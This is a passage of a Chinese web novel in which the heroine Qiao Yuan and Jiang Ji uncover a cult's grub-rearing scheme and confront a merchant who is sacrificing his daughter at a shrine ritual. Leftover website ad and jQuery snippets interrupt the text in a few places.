$(''.inform'').remove(); $(''#content'').append('' 了赌债，听人说只要到这儿种地，每月便能拿一贯钱，我这才跟着过来。谁知来了到现在，没吃过一顿饱饭，大人，求求你救救我大人。” 乔元回身看向江稷，江稷会意上前，“你既入此地不过一月，我届时会同官府商谈，若你无作奸犯科的大事，出去必定无虞。” 矮个汉子一听，跪在地上感激涕零，朝着二人磕了好几个头。 有了矮个汉子起头，一些同样被骗到此处的人也纷纷挤到乔元面前，你一言我一语地说着，场面乱成一团。 好不容易安抚好众人，乔元这才有空梳理得到的信息。 阴神教专挑一些无业地痞，或是家境困难的贫苦人家，以高额的金银骗得他们入此地。一到此地，便有专人看管，这些农人日常负照顾或者挖掘蛴螬，若是有人想逃，会被绑起来用蘸了盐水的鞭子吊打。 至于运送还有同阴神教接触的事儿，同乔元预测的一样，只有方才死掉的汉子知晓其中内情。 线索到此处便是断了，但他们今日既控制了这里，蛴螬应是不会再出现在周边各个村镇的地里。 如此一来，严元雁便也不会再因为这事儿被送入阴王祠，乔元轻舒一口气，这一行也算不负所托。 —— 后塘镇。 日光破云而出，松散地落向各处。 有一簇光落到一处门扉紧闭的小院里，透过半掩的窗户，落到书案上的镇纸上。 镇纸下头，压的是一封信。 有一人身着白衣坐在书案前，垂眸看向跪在他下首的男子。 男子身上带着血腥味，明显受了伤，但他却连动一动都不敢，躬身跪着，一言不发。 在他面前的男子沉吟半晌道：“严公子，我将这等重要之事交予你，你便是这么办事的？” 跪在地上连大气都不敢喘的男人，正是严绍的长子严元兴，他垂首低声道：“掌使，掌使，烦请你再给我一次机会，待我集结人手，定能将饲养地蚕那处重新夺回来。” “就凭你？”白衣男子轻笑出声。 “我们严家一心向着神王，掌使，您一定要相信我们啊！” 白衣男子将镇纸拿开，压在下头的信被他从高处丢到严元兴面前。“你父亲前日来信，说烦请我派人去惩治两个不长眼的人，我派去的人，到今日也没有回来。你说，若是你去，会有几分胜算？” 严元兴那张酷似严绍的脸白了白，他支吾道：“那两人着实厉害，我是拼着一条命才赶回来同掌使传递消息的。” 白衣男子看他的眼神，似是在看什么死物，他道：“今日便是阴王冥诞了，听说你家献祭的是你妹妹？” 严元兴的头低的更下了些，维诺应是。 白衣男子神色玩味道：“我今日要筹备各处的冥诞脱不开身，你们涌泉村我便不去了，若今日献祭的事你再搞砸了，你们严家的好日子便也到头了。” 说罢，他没再理严元兴，起身往外走去。确认白衣男子走远，严元兴这才支撑不住自己的身体，力竭倒地，他躺地上大口喘着粗气，像是一条跳到岸上垂死挣扎的鱼。 40. 蛴螬（十四） 厢军来时，已经是四更天了。 江稷抱胸倚在一旁守着这些农人们，乔元还在各处的农田里穿梭。 阴神教圈养蛴螬的这块地，在当年还未地动时，便是农田。这么多年的腐殖质积累下来，土壤又松软肥力又高，养出来的蛴螬各个通体莹白。乔元随手抓了一只放在手中端详，即便一夜未眠，她的精神反倒比来时更好些。乔元的嘴角高高扬起，心想着等到化蛹期过，从地上爬出来的金龟子定是一个赛一个的亮眼。 正当她在地里还在打量各处的蛴螬，就听得从洞口传来一阵响动。 有人从外头进来了。 乔元收起笑意起身，警惕着朝外看去，最先出洞口的是一个身着锁子甲头戴铁质头盔的厢军。 随后，跟他相同装扮的人接连从洞口出来。 这批厢军面色肃然，没说一句话，甚至连多余的动作都没有，进入洞内的小片平原后，他们便按照顺序在洞口附近排成几列，秩序井然。 直到厢军们全数排列齐整，从他们后头，才传出一道很是嫌弃的声音，“这什么破地方，竟如此难寻。” 来人刚出声，江稷便拧眉上去了，“怎的来的这样晚。” 厢军从中让开一条道，有人从他们中间走出，来人身着深蓝绣金莲纹云锦，头戴白玉雕鹤发冠，身上的环佩更是叮当作响，满身富贵直逼人眼。 温从行挥退跟在他后头的仆役，走到江稷面前上下打量他一番，夸张道：“你还有脸说，这地方如此难寻，难不成要让我插翅飞来？要不是靠着外头的车辙印，我今儿就是把山翻过来都找不到你在何处。” 江稷看着比他矮半个头的温从行，明晃晃嗤笑道：“废物。” 温从行怒极，抬脚就想踹向江稷，反倒被江稷一手握住，单手拉着他的腿往上抬高。温从行一着不慎，疼的龇牙咧嘴，一张矜贵公子的脸皮直接痛得面目扭曲。他哀嚎道：“错了错了，大哥，江哥，放过我吧。” 江稷这才松手将他放了下来。 温从行单脚落地，又酥又麻，连着在地上单脚跳了几下，这才不至于摔倒。他怒骂身后的仆役道，“没长眼啊，没见着小爷我腿疼，也不知道上来扶着我些。” 方才被他挥退的仆役们，这才又哄抢着上来将他扶着。 原本安静的平原，因着他到来场面一时热闹非常。 温从行被身后的仆役们服侍着，身上觉松快了些，这才四下打量起这洞中平原。 最远处那批农人自是不必再提，他目光接着随意扫动，便见站在靠江稷右侧些的乔元，他眼中闪过一丝意外，刚想探头看清楚些，江稷径直走上前挡住他的目光，他道：“你既来了，此地便交由你来处理，人和物证我都给你留好了，待审清楚了再遣人送信给我。” 说罢，他回身对乔元道：“我们走。” 乔元点头，二人便一齐往洞外走去。 温从行抓起地上的泥块就朝江稷丢去，“你将小爷我当什么人了，召之即来挥之即去，喂——江稷！” 江稷像是后脑勺长了眼睛一般，脑袋随意一偏，便躲过他丢来的泥块。抬手挥了挥，便带着乔元消失在洞口处。 温从行见他如此做派，怒极反笑，侧身对着帮他捶腿的仆役道：“瞧瞧，瞧瞧，还有敢这么对小爷的。” 仆役不敢啃声，只得小心些捏着他的腿。 半刻，温从行气消了些，叫了候在一旁的队正过来，“去，将里头的人都带出来，该有的东西一样都别落下，记着别动粗，我要这里的人和物全都能呈到灵州的州府案上。” “是。”队正领命而去，带来的厢军也井然有序地往里走去。 厢军不在他视线范围内，温从行这才垂下眼睫，眸中不复方才的纨绔式样。 江稷同乔元沿原路返回，洞中那两个农人已经被厢军绑在石柱上了，江稷略瞥了一眼，便接着往入口走。 “可知今日的祭祀何时开始？”看了看天色，乔元道。 “阴神教尚月，待新月初升，便是他们祭祀的时辰。按现如今的时辰来推，约莫是酉时五刻。”江稷回身道。 现在天还刚泛起鱼肚白，时间来得及。 乔元点头，没再说话，二人一齐埋头赶路。 —— 涌泉村。 今日涌泉村上，人人面上都喜气洋洋的。 昨日他们便听说了，严家的三姑娘答应入阴王祠。如此一来，只要过了今晚的神王冥诞，这涌泉村便可年年岁岁无灾无祸了。 在道上走的人，人人口中皆传颂着这件事儿，无人在意一个八竿子打不着的三姑娘，只想着从今往后，可算是能过上好日子了。 与外头热闹的氛围不同，整个严家，却是死气沉沉。 严绍禁了任何人在院内走动，特别是严元雁的院子里，除却他们主家几人，任何闲杂人等皆不得入内。 月白色的繁复衣袍已经送到了严元雁的房内，只待她沐浴斋戒过后，便能穿上。 严元雁端坐在案前，淡淡扫了一眼这套尤为华贵的衣服，面上一片涩然，“这可是上好的锦缎，一匹之价不下三金，爹倒是舍得，死前还让我穿这么名贵的衣物。” 候在一旁的小丫头闻言，一下收不住声，低低哭了出来。 严元雁唤她到自己身前来，摸着她的头，“南枝，傻丫头，你哭些什么。” 小丫头南枝哭得上气不接下气道：“姑娘，莫不让奴婢替姑娘去，姑娘一生行善，何至于落得如此下场。” 严元雁掏出帕子，温柔地替她擦干泪水，“莫哭了，人这一生，并非是谁行的善事多，谁就能落得好因果。俗世万千，不过镜花水月，唬人罢了。” 南枝哭得更大声了些，“那，那我也要陪着姑娘一齐入祠，姑娘待我如亲姊妹一般，我断没有舍了姑娘一人去的道理。我同姑娘一齐入祠，没准到了地府，我还能伺候姑娘呢！” 严元雁面上这才有了几分真切的笑意，她本以为自己此生已是孑然，未曾想死到临头，还有个能对她如此忠心的丫头。 她正想说话，门却被人粗暴推开。 主仆二人抬头看去，是府里负责内院管事的张妈妈，张妈妈虚行了一礼道：“姑娘还请快些沐浴更衣罢，稍后还得去家祠行礼。” 严元雁收起笑容，“知晓了，还请妈妈退出去罢。” 张妈妈却不走，又开口道：“员外说了，吉时误不得，从府中出去到阴王祠还要费些时辰，还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 请姑娘抓紧些。” 她家姑娘还未入祠，府里人便这般欺上来了，南枝啐了一口，“张妈妈，你且看清楚些，我们姑娘即便今日要入阴王祠，也是严府正正经经的三姑娘，你若再这般无礼，我现下就告到员外哪儿去！” 严元雁到底还未走，张妈妈的气势熄了些，她欠了一礼道，“那老奴便在门外候着。” 方才的温情被张妈妈打破，现实如同山一般压在严元雁心头。 她沉默，着由着南枝扶她入内沐浴更衣。 —— 严府书房内。 严绍正背手站在一副画前，久久未发一言。 严元兴站在他身后几步，同样抬头看着这幅画。 画上是一个挑肩的货郎，货郎一手扶着满是货物的扁担，一手持着一面小鼓。扁担压的货郎肩膀往后垂去，几乎难以直立，但画中的货郎却恍若未觉，依旧面带笑意，转动小鼓吸引着往来妇孺。 “你可知，这画上之人是谁？”严绍回头，看向严元兴。 严元兴躬身道：“高祖父。” 严绍满意点头，笑道：“是啊，是高祖父。” 他从画下起身，走至屋内的桌案前，缓缓道：“从你高祖父一路走来，我们严家风雨里也已过百年，如今，只要今日雁姐儿能入阴王祠，我们便能同掌使有所交代。” 话到此处，他顿了顿，颇为感慨道：“至此，从我严绍一代起，我们严家终能脱离商籍，抬起头来，将那些往日吃着我们严家的饭，转头却咒骂我们的人，狠狠踩在脚下。” 严元兴的神色，随着严绍的话语也渐渐激动起来，“爹，若这事儿办得再漂亮些，能得掌使青睐，我能得个一官半职都说不定。” 严绍看了面前的儿子一眼，他面上轻狂的笑意让他骤然有些不愉，严绍垂下嘴角，同他道：“你先去出去罢。” 严元兴不知哪处惹到了他，他不敢再出声，只得躬身退下。 严元兴走后，屋内冷寂许久，严绍瘫坐在坐在书案上首，过了好一会儿，才从书案里抽出另一张画像。 画像上是一个头幞头、衣冠端正的男人，男人的样貌同严绍只有一二分相像，严绍垂首看着他半晌，突然将画像放在屋内的蜡烛上点燃。 火焰渐渐吞没画像上的男子，严绍的眼神却随着火焰愈发明亮起来。 “爹，你不是说，我是你生下的最没用的一个儿子。” “你还说，我不如几个哥哥，倒不如早些死了，也能替家里省几口米粮。” “可是，爹。” “哥哥们都死了，都死了。” “他们比我更没用，都死在了我前头。”他吃吃笑了几声，“对，哥哥们怕是已经来找你告状了，你知道的，是我毒死了他们。” “你看，他们这些废物已经同你在下头团聚了，在这人世间，你还是得依仗我，严家百年来都没人做成功的事儿，就要被我做到了。” 火焰吞没画像的最后一角，也吞没了严绍指尖，被灼烧的指尖发出“滋滋”声响，他却同方才画上的货郎一般，恍若未觉。 直到火焰在他指尖熄灭，他这才垂下手，低低地笑了。 “我们严家，终于能脱了商户贱籍。” 41. 解答（一） 阴王冥诞的祭祀始于酉时五刻，乔元同江稷回来时天色尚早。 二人便各自回屋，约好待修整过后，于酉时初刻集合。 在遗址处未觉疲累，回到客舍一沾到床，乔元这才觉得自己浑身的骨头都要散架了，同仆役叫了桶水洗漱过后，她倒头就昏睡了过去。 另一屋的江稷则不同，回到屋里，他先打量了一眼房内。 昨晚来刺杀他的两个杀手已经没了影踪，血迹被打扫得干净，屋里头的摆设也恢复如初，唯有桌上的字条被人做了更替，江稷拿起扫了一眼，便置之一旁。 坐到凳子上，他从怀里拿出另一张叠成块状的字条。 是温从行同他打闹时，趁人不备塞给他的。 打开字条，上头只写了八个字，“线索已断，无甚进展。”。 面不改变地将两张字条一齐烧毁，江稷这才抽空休息了会儿。 温从行审问过后的消息来的很快，午时过半，便有人带着消息敲响了江稷的门。 来人躬身对江稷说了什么，随后塞给他一封密函，拆开密函读完上头的内容，江稷眉眼沉了沉，转身去敲乔元的房门。 乔元尚在好梦中，便被一阵敲门声惊醒，睁眼朝门外应了一声，她利落收拾好自己，起身开门。 江稷周身笼着寒意入内，将密函放在桌上，示意乔元来看。 乔元一时半刻没理解他什么意思，并未倾身过来。 似是想到了什么，江稷直接出声道：“温从行那儿查出些东西，严绍是阴神教的人。” “什么？”乔元愣在原地，脑子有片刻空白。 江稷手点密函，“我们都猜错了，我本以为，严绍是受了阴神教的威胁，无奈之下才将女儿送去做祭品。但从温从行那儿得来的消息却不是如此，这场献祭，是他自己求来的。” 呆滞了片刻的脑子开始思考，乔元道：“你是说，是他自己向阴神教求了将女儿献祭出去的机会？” 江稷以眼神肯定。 乔元走向江稷的脚步一顿，调转方向，在房内走动起来。 她边走边思考道：“严绍肯这么做，那便意味着阴神教给他的东西，比严元雁还重要。能比严元雁还重要的东西，对他来说，不，对整个严家来说，会是什么呢？” 江稷道：“世人所求，无非名利。” “名利？”乔元双手交替叠在胸前，皱眉沉思。 手上掌握的信息太少，乔元没办法推断出来严绍到底想要什么。 蛴螬灾祸已然解决，本以为在今日的阴王冥诞上，将阴神教的谋划在众人面前和盘托出，便能阻止这场献祭。但现在看来，这场献祭，根本没有想象中那么简单。 到底有什么东西，会比女儿的命还要重要？乔元百思不得其解。 她面向江稷道：“可能找到有关严家的消息？” “你想要什么消息？”江稷问道。 “任何，只要同严家有关，来者不拒。”乔元道。 温从行派来的仆役还候在外头，江稷唤人进来同他说了几句，仆役躬身领命而去。 离阴王冥诞还有约莫两个时辰，若是能靠温从行的关系打听到些消息，对他们来说，更易抽丝剥茧。 景朝虽说民风开放，但一直待在乔元屋内也不甚像话。 二人之间已没了可交流的消息，略坐了坐，江稷起身要走。 令他意外的是，站在靠门一侧的乔元，却伸手拦住他。 单薄的手臂横在江稷面前，乔元话里带着试探，“你一早便知晓其中多番波折，这才引我来做撬开棋局的一子？” 江稷没想到她会这样问，这一路走来，他们二人之间的确从未剖白过，有些话是得说开。 江稷停下脚步，坦然道：“我并不能未卜先知，引你来此地，不过是应了温从行的邀，替他解决阴神教这个麻烦。这后头的多番波折，的确在我意料之外。” 细细地手臂根本拦不住江稷的前路，但他还是停了下来，同她解答。 乔元面上缓和了些，她垂下手臂，“抱歉。” 他们本就是因利而合，她这话问的是有些唐突。 江稷笑道：“无妨，谜底马上就要解开，你我都且耐着性子等等罢。” 同乔元颔首，他大步踏出房门。 屋内安静下来，窗外却依旧熙攘，临窗下的街道，小贩的叫卖声不断落入乔元耳中，她端起茶盏，坐到靠窗的软垫上。 尘世多烦扰，是该沏一壶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好茶相配。 —— 严家在涌泉村算是富户，但于整个灵州来说，却很是不够格。 不到一个时辰，他家的消息便被查干净递了进来。 江稷捏着密函，今日第二次敲开了乔元的房门。 “消息来了。”江稷道。 乔元点头，侧身放了他进来。 密函里头只有薄薄的一页纸，江稷念予乔元听，不过几行字，没费多少功夫便念完了。 严家百年来的兴衰顷刻间露于人前，二人皆是一阵沉默。 纸上写道：‘严氏先祖以贩卖为业，遂致殷富。迨至严横广一代，置良田数亩，赖出租田地于农夫以为生计。广欲令子孙登科及第，屡欲更籍，然终未果，继嗣二子相继殂谢，广郁郁以终，遂以家业传于严绍。严绍守旧迄今。’ 景朝有严格的户籍制度，分为民籍、军籍、匠籍、僧道籍、官户同最末的贱籍。 严家虽属民籍，但因祖上靠从商起家，入籍的时候，便成了民籍下的商籍一道。 商籍同普通农籍没有任何分别，但只有一条不同，商户的后代无法科考，一辈子都只得经商。 “严家，这是想要更换户籍？”乔元抿唇道。 “大抵是了。”江稷应道。 “看来这事儿并没那么顺利。”乔元回想着江稷方才念出的话，“从严横广这一代起，严家便一直想更换户籍，严绍瞧着都快四十了，也就是说，严家为了更换户籍，努力了至少六十年。” 江稷接话道：“圣丰年间，于户籍变更一事，的确限制颇多。但自今上登基以来，已经松了不少限制，严家多年转不了户籍，此事的确蹊跷。” 若消息准确，严绍必须要献祭严元雁的理由便说得通了，阴神教应是允他能替严家更换户籍，他这才劝得女儿甘心赴死。 话到此处，显得有些凉薄。 “严绍是承了严横广的志，想要给子孙后代铺出一条路来。” 乔元感慨他的决心和志气，但为了实现这个目标，却要牺牲唯一的女儿，未免有些太过儿戏了。 人命不是交易，它不该被放在戥称上衡量斤两。 乔元看向江稷，起身道：“走罢，我们去阴王祠。” 42. 解答（二） 阴王祠建在离涌泉村五里外的官道边上，那处地形开阔，道路四通八达，不论何处的人想来供奉，都极为便宜。 乔元同江稷赶到阴王祠时，外头的牛车马车正挤作一团，整个官道都被围得水泄不通。 天色将暗，路旁的篝火已经高高燃起，有些摊贩沿着官道趁机摆起了箩筐，箩筐里新鲜的小玩意儿吸引不少人驻足挑选，整个阴王祠外热闹地如同庙会一般。 乔元同江稷被人潮裹挟着向前，好容易入了阴王祠，映入眼帘的便是门口的功德石碑。 石碑约有一人高，上头清楚地刻上了捐赠人的名姓。 乔元扫了一眼，最上首的果然是严绍一家。 功德碑立在道路的正中央，路旁栽植着一行柏树，树下则是修剪得当的小叶黄杨，再往里走，便是阴王祠的大殿。 殿宇的檐角高高翘起，门口四扇殿门全开，里头烛火摇曳，映照着居中的那尊阴神王像。 同阴神教打了这么久的交道，这是乔元第一次见到阴神王像。 和她想象中的狰狞神色不同，镀金的阴神王像衣袂飘飞，手持书卷，不像祂的名字一般阴森可怖，反倒像是个俊逸书生，朗朗立在大殿之上。 祠堂中间的摆了一张供奉的桌案，下头铺了十几个蒲团，想来是专门留给功德碑最顶上刻了名字的人。 中间这处不能站人，晚来的人便只能往两侧挤。 人潮涌动，乔元同江稷随着人群往里进，费了一番功夫，才在祠堂的角落离找到了一个合适的位置站好。 站在二人身侧的是个一身布衣打扮的读书人，他转头朝与他同行的青年道：“听说，今日可是有大场面呢！” 他身侧那人奇道：“我来时可未曾听说，陈兄快给我说说，是怎样的大场面？” 被叫陈兄那人面上露出一丝得意，“你可见外头那功德碑顶头上刻的是谁人的名字？” 青年眼眸转动思索一番，无奈道：“这如何记得住，我只瞄了一眼，记得最上头那人似是姓严。” 陈兄道：“上头刻的那人，是涌泉村的员外，本名严绍。我们不是涌泉村人自是不知晓，昨日听我在涌泉村的兄弟说，这严家员外尊神王受到惩罚，害得整个涌泉村地里长满地蚕，全村人跟着遭殃，今日只得将他女儿献祭入祠，这才能保涌泉村不受牵连呢！” 他身侧的青年眼睛瞪得老大，“竟有如此奇事？！陈兄你再同我多说些。” 明明不过是严绍自家地里长了蛴螬，传扬出去到了别人嘴里，便是整个涌泉村都遭了害。 以讹传讹便是这么来的，乔元叹了口气，接着往下听。 只听那陈兄道：“那严员外也算是善人了，听说他找了不少人来治这地蚕。可怪的是，不论那些人前日怎么除去这地蚕，到第二日清晨，这地上的地蚕总会悄无声息地又重新冒出来，除之不尽。” “这可如何是好？”青年听得入迷。 陈兄敲了下他的脑袋，“你可有认真在听，我开头便说了，严员外没办法了，才在今日阴王冥诞，将女儿献祭入祠，以求平息阴王怒气。” 青年捂头揉了揉，语露不平，“也不知这严姑娘长得如何，年纪轻轻被献祭，当真可惜。” 陈兄拿手肘捅了捅他，“你说话且当心些，此处是阴王祠，神王大人可在听呢！万万不可说些大不敬的话惹祸上身。” 青年赶紧捂紧嘴巴，见无人注意他，才接着道：“这神王当真如此灵验？那稍后我可要认真拜拜多添些香火钱，望祂能保佑我明年高中。” 陈兄笑道：“这是自然，听说今年有好多人都是听说神王法力无边，这才聚到了这里呢。” 二人又接着说了些别的细碎的话，乔元没再仔细听，反倒是沉浸在陈兄先头说的那句话里。 很多人是今年才听说了阴神教，这件事情，莫不是也同严绍有关？ 突然，一阵突兀的钟声响起，吸引了大殿内所有人的注意。 乔元同江稷一起抬眸看去，从大殿外头，进来一批身着褐色长袍的男人，他们进入后，便依序坐在殿内的蒲团上。 蒲团最上首还空着一个位置，想来便是严绍的了。 褐色长袍的男人们跪坐好后，紧接着从殿外进来个身着黑色长袍的男人，男人面上还留着一撮山羊胡，瞧着不像是阴神教里头的人，倒像是个方士。 福至心灵般，乔元同江稷对视一眼。 她低声问道：“是涌泉村的那个方士？” 江稷轻道：“瞧着像。” 乔元心下了然，接着又看向大殿中间，细看他的一举一动。 方士扫了一眼在场众人，抬手比了个噤声的姿势。 不出片刻，大殿内的人群便安静了下来。 他满意点头，出声道：“各位，今日是阴王冥诞，殿内诸位今日聚集在此，想必也是为了乞得神王庇佑。阴神王高居天界，若想祂降临，还请同诸位我一齐复述，幽夜深，觅光明，尊阴神，金蚕生。神王佑我，福泽无边。” 方士话音一落，大殿中人便争先恐后复述道：“幽夜深，觅光明；尊阴神，金蚕生。神王佑我，福泽无边。” 方士眯眼高举双臂，似是很享受这一刻。待到殿内渐渐安静下来，他这才缓缓睁眼道：“今日还有一位老朋友，要引得诸位相见，严员外，请进来罢。” 严绍同样身着褐色长袍，走进殿内，跪坐在最前端的蒲团上，面上无比虔诚。 殿内中人见到严绍，不免窃窃私语起来，陈兄对身旁的青年使了个眼色，“瞧，这就是那严员外。” 方士的手轻抚严绍头顶，肃然道：“严员外今日到此，并非他对神王虔诚，而是因为他不听神王之言，被降下了神罚！” “什么！”人群哗然一片。 “这样的人怎的还能出现在阴王冥诞之上？” “快把他赶出去，赶出去！” 见达到想要的效果，方士嘴角露出笑容，暂缓片刻才道：“但好在，严员外迷途知返，他愿意将府中三姑娘奉为神女，献祭给神王，以求得神王宽恕。” 方士面向大殿正门，扬声道：“请三 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘。” 不多时，从正门处缓慢走过来一位身着月白素衣的姑娘，姑娘面上覆着一层轻纱，轻纱随着她的脚步前后拂动，隐约露出她的面颊，正是严元雁。 先头说话的青年眼睛都看直了，他喃喃道：“如此美人，今日要被献祭于此，当真可惜。” 陈兄没好气地看了他一眼，“叫你莫要多话，莫要多话，你怎的学不会。” 青年被骂了一通，只得悻悻不语。 严元雁走到正中央，便站立不动了。 方士冲她后头道：“请灵石。” 在外头等候许久的阴神教众，旋即便将一块鹅蛋般大青色的石头送到了殿上。 从未有人见过这样颜色的石头，青色的石头放在雕花红木托盘中，两种反差极大的颜色，反倒更衬得这块灵石内像是流动着天地精气。 殿内众人一个个争相往前头挤，纷纷想要沾一沾这灵石的灵气。 方士走到严元雁面前，“这便是我们阴神教的灵石，三姑娘今日既要成为神女，便请将血置于灵石之上。若灵石发光，便说明神王降临，同意三姑娘成为神女，入祠侍奉神王左右。” 话音刚落，众目睽睽之下，从殿外匆忙走进个阴神教众，他绕过人群走到方士面前，在他耳边低语了什么。 方士听完，目露不屑，冲他说了些话，教众这才躬身领命而去。 突如其来的小插曲，并未让众人失了兴致，反倒因为这一段时间的等待，对神女血试灵石的检验，愈发期待了起来。 乔元敏锐察觉出不对，她看了江稷一眼，“可要……” 江稷会意道：“你切莫鲁莽行事，我先去看看。” 说罢，他从侧边绕过人群，消失在乔元视野里。 就在众人翘首以盼之时，方士却并未直接让严元雁取血，反倒是让她下跪在地。自己也重新回到了阴王神像下，跪在蒲团上满是虔诚道：“神王仁慈，庇佑生灵，心怀慈悲，广施恩惠……” 他的话语一声比一声响亮，随着他的话，跪坐在他身后蒲团上的褐衣众人，也跟着他一句一句往下念，大殿上皆是他们歌颂阴神王的话语。 见神教众人如此，方才大殿上才还有些吵嚷的人群，像是受到蛊惑一般，也跟着念了起来。 阴神教众从外面鱼贯而入，用柏枝洒水点在众人额上，示意雨露赐福。 荒诞的祈福仪式，一直持续了半刻钟才停下。 方士从地上起身，见众人眼中满是对阴神教的虔诚和狂热，这才从托盘中拿出一把小刀递到严元雁手中，“仪式已成，请三姑娘割腕取血罢。” 在众人的注视下，严元雁接过镶嵌着宝石珠子的匕首，她的双手在发抖，几次取不下套在外头的刀鞘。 匕首被打磨地异常锋利，只要轻轻一擦，就能划破少女的肌肤。 严元雁将匕首横在手腕处闭眼，爹娘的话再度在耳边浮现，她没有犹豫地余地。 正当她咬牙便想用匕首划开自己的手腕，却听得从殿内角落传来一道熟悉的声音，“且慢！” 43. 解答（三） 霎时间，大殿内所有的目光都聚焦在乔元这处。 站她身旁的众人面面相觑过后，纷纷默契地往旁边挪出一寸。 周身忽地空出一寸空间，乔元整个人便如同鹤立鸡群一般。 被几十双眼睛直勾勾地盯着，她却丝毫不怵。掸了掸方才被挤皱的衣摆，乔元就这样穿过人群往前走去。 她往前走一步，周围的人便往后退一步。一直走到放着灵石的桌案前，乔元这才站定，面向方士道：“我有一事不明。” 严绍同乔元打交道最久，方才甫一听角落里的声音，便猜到是她。 果然，在看到乔元从人群走出的一瞬间，严绍向来温和对人的面上蓦地阴沉下来，看向她的目光怨毒地像条毒蛇。 奈何方士并未发话，严绍也不能越了他去，只得在一旁闭口不言。 请神被打断，方士的脸上也带上了点怒气。但在这般场合，他却不能将乔元如何，只得抬颌道：“这位信众，有何不明？” 未等乔元说话，严元雁倒是急急开口了，她扯了乔元袖子一把，“姑娘，神王正待降临，姑娘若有事想问掌功，不若等我割腕验血后，再相问询也不迟。” 乔元回头看向严元雁，对方冲她微微摇了摇头。 知晓她想保全自己，乔元神色软了几分，道：“三姑娘莫急，这事儿同你也有些关联。” “我？”严元雁一时没摸清她的意思。 “正是，”乔元道。 绕着严元雁和灵石转了一圈，乔元这才走到方士面前，假作疑惑道：“听掌功方才说，若三姑娘的血能让灵石发光，便是神王降临。敢问掌功，若神王真临，这灵石，是光芒大盛，还是略有荧光？” 殿内众人听乔元一说，眼里俱带了好奇。这样离奇的事儿，一生可能只得见一次，故而无一人不侧耳仔细听着。 这法子方士用了多年，还是第一次见有人这样问，他抚掌道：“这光芒兴盛与否，那便要看神王对三姑娘是否满意了。若三姑娘得神王青睐，灵石自然将这殿内亮如白昼，若三姑娘在神王眼中资质平平，那便只有萤火之辉了。” 倒是滴水不漏。 乔元笑笑，接着道：“若是灵石不亮呢？” 方士本以为这姑娘是上来捣乱的，却不料她问的尽是些蠢问题，他面色缓和了些道：“若不亮，便说明神王并未原谅严员外一家，那他所在的涌泉村，怕是得承受神王之怒了。” 乔元眼尾一挑，没想到方士这么容易就进套了。 她旋即面露焦急，在原地跺了跺脚六神无主道：“那便难办了，万一神王心慈原谅了严员外一家，奈何三姑娘资质不佳，这灵石只能覆上一层肉眼难见的微弱薄光，该当如何？” 方士愣了一下，反问道：“你当如何？” 乔元诚恳道：“不若将这殿内的烛火都熄了，待三姑娘滴血入灵石，若灵石真发光，我们也可瞧得真切。” 乔元话音刚落，便听得跪坐在蒲团上的严绍道：“不可！” 乔元看向严绍，奇道：“掌功还未反对，员外为何道不可？这事儿事关整个涌泉村，可不是员外一人能说了算的。” 殿内的涌泉村民听后，也心下生奇。 “严员外这是怎的了，我瞧着这法子便很好。” “这姑娘说的不错，若将这烛火熄了，我们也能看得清楚些。” “是这个理，如此一来，也能叫大家伙儿都知道我们涌泉村并未被神王迁怒。于严员外来说，也是件好事。” “说起来，我怎的瞧这姑娘有些眼熟？”有人认出了乔元。 “你忘了，她不就是严员外请来治地蚕的那个仙师，我都在严家地里见过几回了。” 殿内各处响起不大不小的议论声，这些声音，一字不差地传到了中间几人的耳朵里。 方士看了一眼严绍，怕他乱了局面，开口道:“员外还请噤声。” 严绍苦心筹谋许久，甚至甘愿牺牲自己女儿，就为给整个严氏家族换得一次机会。如今正当紧要关头，他如何肯放弃。 他从蒲团上站起，向殿内众人解释道：“这位姑娘，本是我严家请来驱除地蚕的仙师。只可惜，仙师费了多日功夫，也无法去除这地蚕。经此一事，我认清神力非凡人可改，为了让神王息怒，更为了让涌泉村民能过上好日子，这才忍痛将女儿送来阴王祠。” 言谈之间，严绍走到乔元面前，对她躬身一礼，头已经快要低到尘埃里，“若是我严家哪里招待不周得罪了仙师，仙师的怨气只管冲我严绍一人来就是，还请莫要在请神这般重要的场合，出言相扰。严绍，这便替涌泉村老小谢过仙师了。” 严绍这番话情真意切，殿内众人的口风立时便变了。 “照严员外的意思，这姑娘是来砸场子的？” “自己学艺不精也就罢了，还非要上赶着来此处丢人现眼。” “然也，若万一惹得神王不快，岂不是让我们整村人都不好过。” “我就说严员外是好人，不然谁肯为了村子，将自己亲生的姑娘送来祭神。” “定是这姑娘嫌严员外给的不够多，指着这时候再讹他一笔。” 严绍这话，里子面子都挣足了，就差指着乔元的鼻子骂她是个得寸进尺的小人了。 风向倒向严绍这边，乔元的阵脚却一点不乱，她躬身扶了严绍起来，“严员外这是哪里的话，我在严家叨扰多日却未尽本分，本已于心不安。今日我来此地，就是想帮员外求得神王谅解。” 即便殿内众人已经对她颇有微词，乔元面上依然一片坦荡，她道：“三姑娘若真被神王选中，也算是一桩美谈。况且烛火俱灭，灵石的光耀才能更加显眼。员外，你说是也不是？” 乔元抛出的问题，不论严绍选择哪一方来答，对他而言都是个死局。 他被乔元扶着直起身，不作正面回答，只道：“请神有请神的规矩，神王并未前来，怎可熄灭烛火。” 乔元自知严绍难缠，她并不觉得这几句话就能说服他熄灭蜡烛。 放开扶着严绍的手，乔元话锋一转，顺着他的话道：“员外言之有理，若熄灭全部烛火，难免神王看不清前路，临错了地方。不若这样，我们只留下神像案台上的烛火，将别处的烛火都熄了，这样既能点亮神王路途，又能让大家看清灵石的光耀，员外觉得可行否？” 严绍未曾料道乔元圆话如此之快，竟不给他任何反驳的余地。 见严绍一时怔在原地不语，乔元不再看他，平静地询问殿内众人，“大家以为如何？” “我觉得可行。” “这姑娘虽说人品不佳，但提的要求却也不甚过分。” “我也觉得不错，这样我们便能清楚看到灵石的光芒，也算不虚此行。” 别村看热闹不嫌事大，自然愿意熄了这烛火。涌泉村民听完乔元这番话，思量一番，也觉得殿内越暗，这灵石的光也就看得清楚，同样认同了这般建议。 严绍掩在袖下的双手紧握，手臂青筋几欲爆出。 他看向方士，如今二人骑虎难下。 方才为了不将烛火熄灭，为神王引路的借口已经说出去了。如今乔元借了他的借口往下说，他们反倒没法再接话了。 